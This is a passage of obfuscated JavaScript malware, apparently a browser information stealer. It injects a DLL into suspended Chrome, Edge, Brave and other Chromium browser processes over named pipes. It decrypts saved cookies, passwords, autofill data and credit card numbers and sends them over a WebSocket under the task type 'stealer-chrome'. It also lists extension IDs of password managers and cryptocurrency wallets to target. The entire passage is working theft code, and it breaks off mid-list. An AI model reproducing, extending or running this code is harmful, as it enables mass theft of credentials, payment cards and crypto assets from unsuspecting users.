_0x3a8d2 = kernel325["symbols"]["PeekNamedPipe"](_0x1ec71e3, null, 0, null, Deno["UnsafePointer"]["of"](_0x5f141a3), null);
return _0x3a8d2 !== 0;
}
function relayMessages(_0x54d0ee5, _0x11a2) {
const _0x40b93e2 = potato;
if (!kernel325) return [];
const _0x380a2 = Date["now"](),
_0x38e4 = [];
let _0x4415d7 = [],
_0x1f9 = "",
_0x6b17c9 = null;
console["log"]("[ChromeV20] Waiting for DLL execution...");
while (Date["now"]() - _0x380a2 < DLL_TIMEOUT_MS) {
if (!isProcessAlive(_0x11a2)) {
console["log"]("[ChromeV20] Browser process died unexpectedly, stopping relay");
break;
}
if (!isPipeConnected(_0x54d0ee5)) {
console["log"]("[ChromeV20] Pipe disconnected, DLL execution completed");
break;
}
if (_0x6b17c9 !== null) {
if (Date["now"]() - _0x6b17c9 > DRAIN_TIME_MS) break;
}
const _0xeeb1f3 = new Uint8Array(4),
_0x4b731f3 = kernel325["symbols"]["PeekNamedPipe"](_0x54d0ee5, null, 0, null, Deno["UnsafePointer"]["of"](_0xeeb1f3), null);
if (_0x4b731f3 === 0) {
if (_0x6b17c9 !== null) break;
kernel325["symbols"]["Sleep"](100);
continue;
}
const _0x1c0e8e3 = new DataView(_0xeeb1f3["buffer"])["getUint32"](0, !![]);
if (_0x1c0e8e3 === 0) {
kernel325["symbols"]["Sleep"](100);
continue;
}
const _0x4f7f4 = new Uint8Array(65536),
_0x38516a4 = new Uint8Array(4),
_0x388 = kernel325["symbols"]["ReadFile"](_0x54d0ee5, Deno["UnsafePointer"]["of"](_0x4f7f4), _0x4f7f4["length"], Deno["UnsafePointer"]["of"](_0x38516a4), null);
if (_0x388 === 0) {
const _0x3c47ce3 = kernel325["symbols"]["GetLastError"]();
if (_0x3c47ce3 === 109) {
console["log"]("[ChromeV20] Pipe broken, DLL execution completed");
break;
}
if (_0x6b17c9 !== null) break;
kernel325["symbols"]["Sleep"](100);
continue;
}
const _0x391 = new DataView(_0x38516a4["buffer"])["getUint32"](0, !![]);
if (_0x391 === 0) {
if (_0x6b17c9 !== null) break;
continue;
}
for (let _0x41a6e4 = 0; _0x41a6e4 < _0x391; _0x41a6e4++) {
_0x4415d7["push"](_0x4f7f4[_0x41a6e4]);
}
let _0x3cec4 = 0;
for (let _0x49a7db7 = 0; _0x49a7db7 < _0x4415d7["length"]; _0x49a7db7++) {
if (_0x4415d7[_0x49a7db7] === 0) {
const _0x2ffbb2 = _0x4415d7["slice"](_0x3cec4, _0x49a7db7),
_0x29ed12 = new TextDecoder()["decode"](new Uint8Array(_0x2ffbb2));
_0x3cec4 = _0x49a7db7 + 1;
if (_0x29ed12 === COMPLETION_SIGNAL) {
console["log"]("[ChromeV20] Completion signal received");
_0x6b17c9 === null && (_0x6b17c9 = Date["now"]());
continue;
}
if (_0x29ed12["includes"]("__FILE_START__") || _0x29ed12["includes"]("__FILE_END__") || _0x29ed12["includes"]("__JSON_START__") || _0x29ed12["includes"]("__JSON_END__") || _0x29ed12["startsWith"]("BROWSER:") || _0x29ed12["startsWith"]("PROFILE:") || _0x29ed12["startsWith"]("TYPE:") || _0x29ed12["startsWith"]("COUNT:") || _0x1f9["length"] > 0) {
_0x1f9 += _0x29ed12 + "\n";
if (_0x29ed12["includes"]("__FILE_END__")) {
const _0x16105d8 = parseFileData(_0x1f9);
_0x16105d8 && (console["log"]("[ChromeV20] Parsed file: " + _0x16105d8["browser"] + "/" + _0x16105d8["profile"] + "/" + _0x16105d8["fileType"] + " (" + _0x16105d8["count"] + " entries)"), _0x38e4["push"](_0x16105d8)), _0x1f9 = "";
}
continue;
}
_0x29ed12["length"] > 0 && console["log"]("[ChromeV20] DLL: " + _0x29ed12);
}
}
_0x4415d7 = _0x4415d7["slice"](_0x3cec4);
}
return console["log"]("[ChromeV20] Received " + _0x38e4["length"] + " file(s)"), _0x38e4;
}
async function sendExtractedData(_0x1a776a12, _0x3414e8, _0x393) {
const _0x71506c2 = potato;
for (const _0x46b2cd11 of _0x393) {
try {
const _0x415 = JSON["parse"](_0x46b2cd11["jsonData"]["trim"]());
if (_0x46b2cd11["fileType"] === "cookies" && Array["isArray"](_0x415)) {
const _0x3fe2f2 = {
"huidMd5": _0x1a776a12["huidMd5"],
"token": _0x1a776a12["token"],
"taskOutputs": [{
"id": _0x1a776a12["taskId"],
"type": "stealer-chrome",
"status": "completed",
"browser": _0x3414e8,
"profile": _0x46b2cd11["profile"] || "Default",
"dataType": "cookies",
"data": _0x415["map"](_0x408 => ({
"host": _0x408["host"] || _0x408["domain"] || "",
"name": _0x408["name"] || "",
"value": _0x408["value"] || "",
"path": _0x408["path"] || "/",
"expires_utc": _0x408["expires"] || _0x408["expirationDate"] || 0,
"is_secure": _0x408["secure"] || _0x408["isSecure"] || ![],
"is_httponly": _0x408["httpOnly"] || _0x408["isHttpOnly"] || ![]
}))
}]
};
try {
_0x1a776a12["ws"]["send"](await serizalizeCommandFromAgent(_0x3fe2f2)), console["log"]("[ChromeV20] Sent " + _0x415["length"] + " cookies for " + _0x3414e8 + "/" + _0x46b2cd11["profile"]);
} catch (_0x3d8) {
console["error"]("[ChromeV20] Failed to send cookies: WebSocket error", _0x3d8);
}
} else {
if (_0x46b2cd11["fileType"] === "passwords" && Array["isArray"](_0x415)) {
const _0x440d8a3 = {
"huidMd5": _0x1a776a12["huidMd5"],
"token": _0x1a776a12["token"],
"taskOutputs": [{
"id": _0x1a776a12["taskId"],
"type": "stealer-chrome",
"status": "completed",
"browser": _0x3414e8,
"profile": _0x46b2cd11["profile"] || "Default",
"dataType": "passwords",
"data": _0x415["map"](_0x1236a8 => ({
"url": _0x1236a8["url"] || _0x1236a8["origin_url"] || "",
"username": _0x1236a8["username"] || _0x1236a8["username_value"] || "",
"password": _0x1236a8["password"] || _0x1236a8["password_value"] || ""
}))
}]
};
try {
_0x1a776a12["ws"]["send"](await serizalizeCommandFromAgent(_0x440d8a3)), console["log"]("[ChromeV20] Sent " + _0x415["length"] + " passwords for " + _0x3414e8 + "/" + _0x46b2cd11["profile"]);
} catch (_0x31f2) {
console["error"]("[ChromeV20] Failed to send passwords: WebSocket error", _0x31f2);
}
} else {
if (_0x46b2cd11["fileType"] === "payments" && Array["isArray"](_0x415)) {
const _0x30bb2 = {
"huidMd5": _0x1a776a12["huidMd5"],
"token": _0x1a776a12["token"],
"taskOutputs": [{
"id": _0x1a776a12["taskId"],
"type": "stealer-chrome",
"status": "completed",
"browser": _0x3414e8,
"profile": _0x46b2cd11["profile"] || "Default",
"dataType": "creditcards",
"data": _0x415["map"](_0x2aa80c0 => ({
"name_on_card": _0x2aa80c0["name_on_card"] || _0x2aa80c0["name"] || "",
"card_number": _0x2aa80c0["card_number"] || _0x2aa80c0["number"] || "",
"expiration_month": _0x2aa80c0["expiration_month"] || _0x2aa80c0["exp_month"] || 0,
"expiration_year": _0x2aa80c0["expiration_year"] || _0x2aa80c0["exp_year"] || 0
}))
}]
};
try {
_0x1a776a12["ws"]["send"](await serizalizeCommandFromAgent(_0x30bb2)), console["log"]("[ChromeV20] Sent " + _0x415["length"] + " credit cards for " + _0x3414e8 + "/" + _0x46b2cd11["profile"]);
} catch (_0x4b1) {
console["error"]("[ChromeV20] Failed to send credit cards: WebSocket error", _0x4b1);
}
}
}
}
} catch (_0x240b2) {
console["error"]("[ChromeV20] Failed to parse/send " + _0x46b2cd11["fileType"] + ":", _0x240b2);
}
}
}
async function processBrowser(_0x4e2de5, _0x968d2, _0x232dc2, _0x1b072f3) {
const _0x2e1d = potato;
console["log"]("\n[ChromeV20] Processing " + _0x4e2de5["displayName"] + "..."), console["log"]("=====================================");
if (!kernel325) {
console["error"]("[ChromeV20] FFI not initialized");
return;
}
const _0x10ec3a5 = generatePipeName(_0x4e2de5["name"]);
console["log"]("[ChromeV20] Using pipe: " + _0x10ec3a5);
const _0x10b5 = toWideString2(_0x10ec3a5),
_0x3b22e11 = kernel325["symbols"]["CreateNamedPipeW"](Deno["UnsafePointer"]["of"](_0x10b5), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 65536, 65536, 0, null);
if (!_0x3b22e11 || Deno["UnsafePointer"]["value"](_0x3b22e11) === 0x0n) {
console["error"]("[ChromeV20] Failed to create named pipe");
return;
}
console["log"]("[ChromeV20] Named pipe created");
const _0x2f12 = createSuspendedProcess(_0x968d2);
if (!_0x2f12) {
kernel325["symbols"]["CloseHandle"](_0x3b22e11);
return;
}
const _0x228bc2 = injectDll(_0x2f12["hProcess"], _0x10ec3a5, _0x232dc2);
if (!_0x228bc2) {
console["error"]("[ChromeV20] DLL injection failed"), kernel325["symbols"]["TerminateProcess"](_0x2f12["hProcess"], 1), kernel325["symbols"]["CloseHandle"](_0x2f12["hThread"]), kernel325["symbols"]["CloseHandle"](_0x2f12["hProcess"]), kernel325["symbols"]["CloseHandle"](_0x3b22e11);
return;
}
console["log"]("[ChromeV20] DLL injection successful"), console["log"]("[ChromeV20] Waiting for DLL to connect...");
const _0x50ac2 = kernel325["symbols"]["ConnectNamedPipe"](_0x3b22e11, null);
if (_0x50ac2 === 0) {
const _0xea0eea4 = kernel325["symbols"]["GetLastError"]();
if (_0xea0eea4 !== 535) {
console["error"]("[ChromeV20] Failed to connect pipe: " + _0xea0eea4), kernel325["symbols"]["TerminateProcess"](_0x2f12["hProcess"], 1), kernel325["symbols"]["CloseHandle"](_0x2f12["hThread"]), kernel325["symbols"]["CloseHandle"](_0x2f12["hProcess"]), kernel325["symbols"]["CloseHandle"](_0x3b22e11);
return;
}
}
console["log"]("[ChromeV20] DLL connected"), kernel325["symbols"]["Sleep"](200), writeToPipe(_0x3b22e11, "VERBOSE_FALSE"), kernel325["symbols"]["Sleep"](10), writeToPipe(_0x3b22e11, "FINGERPRINT_FALSE"), kernel325["symbols"]["Sleep"](10), writeToPipe(_0x3b22e11, "C:\\dummy"), kernel325["symbols"]["Sleep"](10);
const _0x51c7a2 = relayMessages(_0x3b22e11, _0x2f12["hProcess"]);
await sendExtractedData(_0x1b072f3, _0x4e2de5["name"], _0x51c7a2), console["log"]("[ChromeV20] Terminating browser process..."), kernel325["symbols"]["TerminateProcess"](_0x2f12["hProcess"], 0), kernel325["symbols"]["WaitForSingleObject"](_0x2f12["hProcess"], 2000), kernel325["symbols"]["CloseHandle"](_0x2f12["hThread"]), kernel325["symbols"]["CloseHandle"](_0x2f12["hProcess"]), kernel325["symbols"]["CloseHandle"](_0x3b22e11), console["log"]("[ChromeV20] " + _0x4e2de5["displayName"] + " processing completed");
}
async function grabChromeV20(_0x791cbe3, _0xdbdca5) {
const _0x5b0a = potato;
console["log"]("[ChromeV20] Starting Chrome v20 collection...");
if (!_0xdbdca5 || _0xdbdca5["length"] === 0) {
console["log"]("[ChromeV20] No DLL provided, skipping");
return;
}
console["log"]("[ChromeV20] DLL size: " + _0xdbdca5["length"] + " bytes"), initFFI2();
if (!kernel325) {
console["error"]("[ChromeV20] Failed to initialize FFI");
return;
}
const _0x4747cb4 = findInstalledBrowsers();
if (_0x4747cb4["length"] === 0) {
console["log"]("[ChromeV20] No supported browsers found");
return;
}
for (const [_0x5e85b3, _0x35e97a3] of _0x4747cb4) {
try {
await processBrowser(_0x5e85b3, _0x35e97a3, _0xdbdca5, _0x791cbe3);
} catch (_0x4c4) {
console["error"]("[ChromeV20] Failed to process " + _0x5e85b3["displayName"] + ":", _0x4c4);
}
}
console["log"]("[ChromeV20] Collection completed");
}
var import_node_buffer5 = require("node:buffer"),
import_node_fs3 = require("node:fs"),
import_node_path3 = __toESM(require("node:path")),
import_node_process4 = __toESM(require("node:process")),
CHROMIUM_BROWSERS = [{
"name": "chrome",
"path": "%LOCALAPPDATA%\\Google\\Chrome\\User Data"
}, {
"name": "chromesxs",
"path": "%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data"
}, {
"name": "chromium",
"path": "%LOCALAPPDATA%\\Chromium\\User Data"
}, {
"name": "brave",
"path": "%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data"
}, {
"name": "edge",
"path": "%LOCALAPPDATA%\\Microsoft\\Edge\\User Data"
}, {
"name": "yandex",
"path": "%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data"
}, {
"name": "opera",
"path": "%APPDATA%\\Opera Software\\Opera Stable"
}, {
"name": "operagx",
"path": "%APPDATA%\\Opera Software\\Opera GX Stable"
}, {
"name": "vivaldi",
"path": "%LOCALAPPDATA%\\Vivaldi\\User Data"
}, {
"name": "amigo",
"path": "%APPDATA%\\Amigo\\User Data"
}, {
"name": "torch",
"path": "%APPDATA%\\Torch\\User Data"
}, {
"name": "kometa",
"path": "%APPDATA%\\Kometa\\User Data"
}, {
"name": "orbitum",
"path": "%APPDATA%\\Orbitum\\User Data"
}, {
"name": "centbrowser",
"path": "%APPDATA%\\CentBrowser\\User Data"
}, {
"name": "7star",
"path": "%APPDATA%\\7Star\\7Star\\User Data"
}, {
"name": "sputnik",
"path": "%APPDATA%\\Sputnik\\Sputnik\\User Data"
}, {
"name": "epic",
"path": "%APPDATA%\\Epic Privacy Browser\\User Data"
}, {
"name": "uran",
"path": "%APPDATA%\\uCozMedia\\Uran\\User Data"
}, {
"name": "iridium",
"path": "%LOCALAPPDATA%\\Iridium\\User Data"
}, {
"name": "comododragon",
"path": "%LOCALAPPDATA%\\Comodo\\Dragon\\User Data"
}, {
"name": "360browser",
"path": "%LOCALAPPDATA%\\360Browser\\Browser\\User Data"
}, {
"name": "maxthon",
"path": "%LOCALAPPDATA%\\Maxthon3\\User Data"
}, {
"name": "k-melon",
"path": "%LOCALAPPDATA%\\K-Melon\\User Data"
}, {
"name": "suhba",
"path": "%LOCALAPPDATA%\\Suhba\\User Data"
}, {
"name": "nichrome",
"path": "%LOCALAPPDATA%\\Nichrome\\User Data"
}, {
"name": "coccoc",
"path": "%LOCALAPPDATA%\\CocCoc\\Browser\\User Data"
}, {
"name": "chromodo",
"path": "%LOCALAPPDATA%\\Chromodo\\User Data"
}];
function expandPath2(_0xd7a27e3) {
const _0x1c730c2 = potato,
_0xefd2 = import_node_process4["default"]["env"]["LOCALAPPDATA"] || "",
_0x1fe2 = import_node_process4["default"]["env"]["APPDATA"] || "";
return _0xd7a27e3["replace"](/%LOCALAPPDATA%/g, _0xefd2)["replace"](/%APPDATA%/g, _0x1fe2);
}
async function findProfiles(_0x419) {
const _0x417 = potato,
_0x1339e4 = [];
try {
const _0x59e90b3 = import_node_path3["default"]["join"](_0x419, "Default");
try {
await import_node_fs3["promises"]["access"](_0x59e90b3), _0x1339e4["push"]("Default");
} catch {}
for (let _0x4448fd5 = 1; _0x4448fd5 <= 20; _0x4448fd5++) {
const _0x59f55a4 = "Profile " + _0x4448fd5,
_0x14916b3 = import_node_path3["default"]["join"](_0x419, _0x59f55a4);
try {
await import_node_fs3["promises"]["access"](_0x14916b3), _0x1339e4["push"](_0x59f55a4);
} catch {}
}
} catch {}
return _0x1339e4;
}
async function decryptAesGcm(_0x286e7, _0x12f8f3) {
const _0x3b66cf2 = potato;
if (_0x286e7["length"] < 3) return console["log"]("[Chrome] Encrypted value too short: " + _0x286e7["length"] + " bytes"), null;
const _0xea3 = _0x286e7["subarray"](0, 3),
_0x39928a5 = import_node_buffer5["Buffer"]["from"](_0xea3)["toString"]();
if (_0x39928a5 !== "v10" && _0x39928a5 !== "v11") return console["log"]("[Chrome] Invalid prefix: \"" + _0x39928a5 + "\" (hex: " + import_node_buffer5["Buffer"]["from"](_0xea3)["toString"]("hex") + "), expected \"v10\" or \"v11\""), null;
if (_0x286e7["length"] < 3 + 12 + 16) return null;
try {
const _0x1c18 = _0x286e7["subarray"](3, 15),
_0x3bf45a4 = _0x286e7["subarray"](15),
_0x5ab3 = new ArrayBuffer(_0x12f8f3["length"]);
new Uint8Array(_0x5ab3)["set"](_0x12f8f3);
const _0x5acaf4 = new ArrayBuffer(_0x1c18["length"]);
new Uint8Array(_0x5acaf4)["set"](_0x1c18);
const _0x1818d4 = new ArrayBuffer(_0x3bf45a4["length"]);
new Uint8Array(_0x1818d4)["set"](_0x3bf45a4);
const _0x7c42b2 = await crypto["subtle"]["importKey"]("raw", _0x5ab3, {
"name": "AES-GCM"
}, ![], ["decrypt"]),
_0x1b20 = await crypto["subtle"]["decrypt"]({
"name": "AES-GCM",
"iv": _0x5acaf4
}, _0x7c42b2, _0x1818d4),
_0x18f9 = new Uint8Array(_0x1b20);
let _0x437 = 0,
_0x434 = 0;
for (let _0x433 = 0; _0x433 < _0x18f9["length"]; _0x433++) {
let _0x10f0dd6 = 0,
_0x5d4c5f4 = ![];
for (let _0x10c3e4 = _0x433; _0x10c3e4 < Math["min"](_0x18f9["length"], _0x433 + 20); _0x10c3e4++) {
const _0x429 = _0x18f9[_0x10c3e4];
if (_0x429 >= 32 && _0x429 <= 126) _0x10f0dd6++;
else {
_0x5d4c5f4 = !![];
break;
}
}!_0x5d4c5f4 && _0x10f0dd6 >= 5 && _0x10f0dd6 > _0x434 && (_0x434 = _0x10f0dd6, _0x437 = _0x433);
if (_0x434 >= 15) break;
}
const _0x14431a3 = _0x437 > 0 && _0x437 < _0x18f9["length"] ? _0x18f9["subarray"](_0x437) : _0x18f9,
_0x26260b3 = new TextDecoder("utf-8", {
"fatal": !![]
});
try {
const _0x34f2fc7 = _0x26260b3["decode"](_0x14431a3);
if (_0x34f2fc7["length"] === 0) return null;
let _0x5d3d7e4 = 0;
for (const _0x37498e3 of _0x34f2fc7) {
const _0x81bf6 = _0x37498e3["charCodeAt"](0);
(_0x81bf6 >= 32 && _0x81bf6 <= 126 || _0x81bf6 === 9 || _0x81bf6 === 10 || _0x81bf6 === 13) && _0x5d3d7e4++;
}
if (_0x34f2fc7["length"] < 3 || _0x5d3d7e4 / _0x34f2fc7["length"] < 0.8) return null;
return _0x34f2fc7;
} catch {
return null;
}
} catch (_0x21aba2) {
return console["error"]("[Chrome] Decryption error:", _0x21aba2), null;
}
}
async function extractCookies(_0x4da80b3, _0x30c2, _0x28ed9a3) {
const _0x345b5f2 = potato,
_0x440 = [];
try {
const _0x3d68e3 = new _0x4da80b3(_0x30c2, {
"readonly": !![]
}),
_0x6e909b3 = _0x3d68e3["prepare"]("SELECT host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly FROM cookies")["all"]();
for (const _0x39ec4c3 of _0x6e909b3) {
const _0x4a37cc1 = _0x39ec4c3;
if (!_0x4a37cc1["host_key"] || !_0x4a37cc1["name"]) continue;
const _0x26150b5 = _0x4a37cc1["encrypted_value"];
if (!_0x26150b5 || _0x26150b5["length"] === 0) continue;
const _0x29a6 = await decryptAesGcm(_0x26150b5, _0x28ed9a3);
if (!_0x29a6 || _0x29a6["length"] === 0) continue;
_0x440["push"]({
"host": _0x4a37cc1["host_key"],
"name": _0x4a37cc1["name"],
"value": _0x29a6,
"path": _0x4a37cc1["path"] || "/",
"expires_utc": _0x4a37cc1["expires_utc"] || 0,
"is_secure": Boolean(_0x4a37cc1["is_secure"]),
"is_httponly": Boolean(_0x4a37cc1["is_httponly"])
});
}
_0x3d68e3["close"]();
} catch (_0x4f04f2) {
console["error"]("[Chrome] Error extracting cookies:", _0x4f04f2);
}
return _0x440;
}
async function extractPasswords(_0x2de2, _0x442, _0x5f023d3) {
const _0x4a0ef = potato,
_0x37fcb4 = [];
try {
const _0x294e7f4 = new _0x2de2(_0x442, {
"readonly": !![]
}),
_0x37d3 = _0x294e7f4["prepare"]("SELECT origin_url, username_value, password_value FROM logins")["all"]();
console["log"]("[Chrome] Found " + _0x37d3["length"] + " password entries in database");
let _0x2bd3 = 0,
_0x3b4 = 0,
_0x4d7b3 = 0;
for (const _0x81a2 of _0x37d3) {
const _0x2c08fd5 = _0x81a2,
_0x3ac4 = _0x2c08fd5["origin_url"] || "",
_0x5165f2 = _0x2c08fd5["username_value"] || "";
if (!_0x3ac4) {
_0x3b4++;
continue;
}
const _0x338d5f7 = _0x2c08fd5["password_value"];
if (!_0x338d5f7 || _0x338d5f7["length"] === 0) {
_0x3b4++;
continue;
}
if (_0x37fcb4["length"] === 0) {
const _0x445 = import_node_buffer5["Buffer"]["from"](_0x338d5f7["subarray"](0, Math["min"](10, _0x338d5f7["length"])));
console["log"]("[Chrome] First password encrypted prefix: " + _0x445["toString"]("hex") + " (" + _0x445["toString"]() + ")");
}
const _0x449 = await decryptAesGcm(_0x338d5f7, _0x5f023d3);
if (!_0x449 || _0x449["length"] === 0) {
_0x4d7b3++;
continue;
}
_0x2bd3++, _0x37fcb4["push"]({
"url": _0x3ac4,
"username": _0x5165f2,
"password": _0x449
});
}
console["log"]("[Chrome] Password extraction stats: " + _0x2bd3 + " decrypted, " + _0x3b4 + " skipped, " + _0x4d7b3 + " failed"), _0x294e7f4["close"]();
} catch (_0x451c4f3) {
console["error"]("[Chrome] Error extracting passwords:", _0x451c4f3);
}
return _0x37fcb4;
}
function extractAutofills(_0x52b2, _0x497c2) {
const _0x1ed = potato,
_0x3272c3 = [];
try {
const _0x6dc7c3 = new _0x52b2(_0x497c2, {
"readonly": !![]
}),
_0x1a6 = _0x6dc7c3["prepare"]("SELECT name, value, count FROM autofill")["all"]();
for (const _0x55f2 of _0x1a6) {
const _0x3c225f5 = _0x55f2,
_0x114f6e4 = _0x3c225f5["name"] || "",
_0x746f7d4 = _0x3c225f5["value"] || "",
_0x312e2 = _0x3c225f5["count"] || 0;
if (!_0x114f6e4 || !_0x746f7d4) continue;
_0x3272c3["push"]({
"name": _0x114f6e4,
"value": _0x746f7d4,
"count": _0x312e2
});
}
_0x6dc7c3["close"]();
} catch (_0x451) {
console["error"]("[Chrome] Error extracting autofills:", _0x451);
}
return _0x3272c3;
}
async function extractCreditCards(_0x453, _0x58eec2, _0x5f3be2) {
const _0x697cb = potato,
_0x2a9 = [];
try {
const _0x505d3 = new _0x453(_0x58eec2, {
"readonly": !![]
}),
_0x455 = _0x505d3["prepare"]("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards")["all"]();
for (const _0x40aba2 of _0x455) {
const _0x41fc8a6 = _0x40aba2,
_0x5d7d2 = _0x41fc8a6["name_on_card"] || "",
_0x44d5 = _0x41fc8a6["expiration_month"] || 0,
_0x84374a3 = _0x41fc8a6["expiration_year"] || 0,
_0x59bb4 = _0x41fc8a6["card_number_encrypted"];
if (!_0x59bb4 || _0x59bb4["length"] === 0) continue;
const _0x1ca4 = await decryptAesGcm(_0x59bb4, _0x5f3be2);
if (!_0x1ca4 || _0x1ca4["length"] === 0) continue;
_0x2a9["push"]({
"name_on_card": _0x5d7d2,
"expiration_month": _0x44d5,
"expiration_year": _0x84374a3,
"card_number": _0x1ca4
});
}
_0x505d3["close"]();
} catch (_0x457) {
console["error"]("[Chrome] Error extracting credit cards:", _0x457);
}
return _0x2a9;
}
async function sendChromeData(_0x3374cb6, _0x32cec2, _0x454a2, _0x567e2, _0x6c25c3) {
const _0x1c7e = potato;
if (_0x6c25c3["length"] === 0) return;
const _0x7160ad3 = {
"huidMd5": _0x3374cb6["huidMd5"],
"token": _0x3374cb6["token"],
"taskOutputs": [{
"id": _0x3374cb6["taskId"],
"type": "stealer-chrome",
"status": "completed",
"browser": _0x32cec2,
"profile": _0x454a2,
"dataType": _0x567e2,
"data": _0x6c25c3
}]
},
_0x480aa2 = await serizalizeCommandFromAgent(_0x7160ad3);
try {
_0x3374cb6["ws"]["send"](_0x480aa2);
} catch (_0xcb93e2) {
console["error"]("[Chrome] Failed to send data: WebSocket error", _0xcb93e2);
}
}
async function sendExtensionFile(_0x42e5, _0x5e28e2, _0x4184f3, _0x4139e2, _0x167dad3, _0x2af3) {
const _0xd2de4e2 = potato,
_0x1a310f3 = {
"huidMd5": _0x42e5["huidMd5"],
"token": _0x42e5["token"],
"taskOutputs": [{
"id": _0x42e5["taskId"],
"type": "stealer-extension-file",
"status": "completed",
"browser": _0x5e28e2,
"profile": _0x4184f3,
"extensionName": _0x4139e2,
"filename": _0x167dad3,
"data": _0x2af3,
"size": _0x2af3["length"]
}]
},
_0x11a1a2 = await serizalizeCommandFromAgent(_0x1a310f3);
try {
_0x42e5["ws"]["send"](_0x11a1a2);
} catch (_0x4f36eb3) {
console["error"]("[Chrome] Failed to send data: WebSocket error", _0x4f36eb3);
}
}
function getExtensionMap() {
const _0x4cc3fd2 = potato,
_0x3e9f64 = new Map();
return _0x3e9f64["set"]("Authenticator", "bhghoamapcdpbohphigoooaddinpkbai"), _0x3e9f64["set"]("EOSAuthenticator", "oeljdldpnmdbchonielidgobddffflal"), _0x3e9f64["set"]("Bitwarden", "nngceckbapebfimnlniiiahkandclblb"), _0x3e9f64["set"]("KeePassXC", "oboonakemofpalcgghocfoadofidjkkk"), _0x3e9f64["set"]("Dashlane", "fdjamakpfbbddfjaooikfcpapjohcfmg"), _0x3e9f64["set"]("1Password", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"), _0x3e9f64["set"]("NordPass", "fooolghllnmhmmndgjiamiiodkpenpbb"), _0x3e9f64["set"]("Keeper", "bfogiafebfohielmmehodmfbbebbbpei"), _0x3e9f64["set"]("RoboForm", "pnlccmojcmeohlpggmfnbbiapkmbliob"), _0x3e9f64["set"]("LastPass", "hdokiejnpimakedhajhdlcegeplioahd"), _0x3e9f64["set"]("BrowserPass", "naepdomgkenhinolocfifgehidddafch"), _0x3e9f64["set"]("MYKI", "bmikpgodpkclnkgmnpphehdgcimmided"), _0x3e9f64["set"]("Splikity", "jhfjfclepacoldmjmkmdlmganfaalklb"), _0x3e9f64["set"]("CommonKey", "chgfefjpcobfbnpmiokfjjaglahmnded"), _0x3e9f64["set"]("ZohoVault", "igkpcodhieompeloncfnbekccinhapdb"), _0x3e9f64["set"]("NortonPasswordManager", "admmjipmmciaobhojoghlmleefbicajg"), _0x3e9f64["set"]("AviraPasswordManager", "caljgklbbfbcjjanaijlacgncafpegll"), _0x3e9f64["set"]("TrezorPasswordManager", "imloifkgjagghnncjkhggdhalmcnfklk"), _0x3e9f64["set"]("MetaMask", "nkbihfbeogaeaoehlefnkodbefgpgknn"), _0x3e9f64["set"]("MetaMask_edge", "ejbalbakoplchlghecdalmeeeajnimhm"), _0x3e9f64["set"]("TronLink", "ibnejdfjmmkpcnlpebklmnkoeoihofec"), _0x3e9f64["set"]("BinanceChain", "fhbohimaelbohpjbbldcngcnapndodjp"), _0x3e9f64["set"]("Coin98", "aeachknmefphepccionboohckonoeemg"), _0x3e9f64["set"]("iWallet", "kncchdigobghenbbaddojjnnaogfppfj"), _0x3e9f64["set"]("Wombat", "amkmjjmmflddogmhpjloimipbofnfjih"), _0x3e9f64["set"]("MEWCX", "nlbmnnijcnlegkjjpcfjclmcfggfefdm"), _0x3e9f64["set"]("NeoLine", "cphhlgmgameodnhkjdmkpanlelnlohao"), _0x3e9f64["set"]("TerraStation", "aiifbnbfobpmeekipheeijimdpnlpgpp"), _0x3e9f64["set"]("Keplr", "dmkamcknogkgcdfhhbddcghachkejeap"), _0x3e9f64["set"]("Sollet", "fhmfendgdocmcbmfikdcogofphimnkno"), _0x3e9f64["set"]("ICONex", "flpiciilemghbmfalicajoolhkkenfel"), _0x3e9f64["set"]("KHC", "hcflpincpppdclinealmandijcmnkbgn"), _0x3e9f64["set"]("TezBox", "mnfifefkajgofkcjkemidiaecocnkjeh"), _0x3e9f64["set"]("Byone", "nlgbhdfgdhgbiamfdfmbikcdghidoadd"), _0x3e9f64["set"]("OneKey", "infeboajgfhgbjpjbeppbkgnabfdkdaf"), _0x3e9f64["set"]("DAppPlay", "lodccjjbdhfakaekdiahmedfbieldgik"), _0x3e9f64["set"]("BitClip", "ijmpgkjfkbfhoebgogflfebnmejmfbml"), _0x3e9f64["set"]("SteemKeychain", "lkcjlnjfpbikmcmbachjpdbijejflpcm"), _0x3e9f64["set"]("NashExtension", "onofpnbbkehpmmoabgpcpmigafmmnjhl"), _0x3e9f64["set"]("HyconLiteClient", "bcopgchhojmggmffilplmbdicgaihlkp"), _0x3e9f64["set"]("ZilPay", "klnaejjgbibmhlephnhpmaofohgkpgkd"), _0x3e9f64["set"]("LeafWallet", "cihmoadaighcejopammfbmddcmdekcje"), _0x3e9f64["set"]("CyanoWallet", "dkdedlpgdmmkkfjabffeganieamfklkm"), _0x3e9f64["set"]("CyanoWalletPro", "icmkfkmjoklfhlfdkkkgpnpldkgdmhoe"), _0x3e9f64["set"]("NaboxWallet", "nknhiehlklippafakaeklbeglecifhad"), _0x3e9f64["set"]("PolymeshWallet", "jojhfeoedkpkglbfimdfabpdfjaoolaf"), _0x3e9f64["set"]("NiftyWallet", "jbdaocneiiinmjbjlgalhcelgbejmnid"), _0x3e9f64["set"]("LiqualityWallet", "kpfopkelmapcoipemfendmdcghnegimn"), _0x3e9f64["set"]("MathWallet", "afbcbjpbpfadlkmhmclhkeeodmamcflc"), _0x3e9f64["set"]("CoinbaseWallet", "hnfanknocfeofbddgcijnmhnfnkdnaad"), _0x3e9f64["set"]("CloverWallet", "nhnkbkgjikgcigadomkphalanndcapjk"), _0x3e9f64["set"]("Yoroi", "ffnbelfdoeiohenkjibnmadjiehjhajb"), _0x3e9f64["set"]("Guarda", "hpglfhgfnhbgpjdenjgmdgoeiappafln"), _0x3e9f64["set"]("EQUALWallet", "blnieiiffboillknjnepogjhkgnoapac"), _0x3e9f64["set"]("BitAppWallet", "fihkakfobkmkjojpchpfgcmhfjnmnfpi"), _0x3e9f64["set"]("AuroWallet", "cnmamaachppnkjgnildpdmkaakejnhae"), _0x3e9f64["set"]("SaturnWallet", "nkddgncdjgjfcddamfgcmfnlhccnimig"), _0x3e9f64["set"]("RoninWallet", "fnjhmkhhmkbjkkabndcnnogagogbneec"), 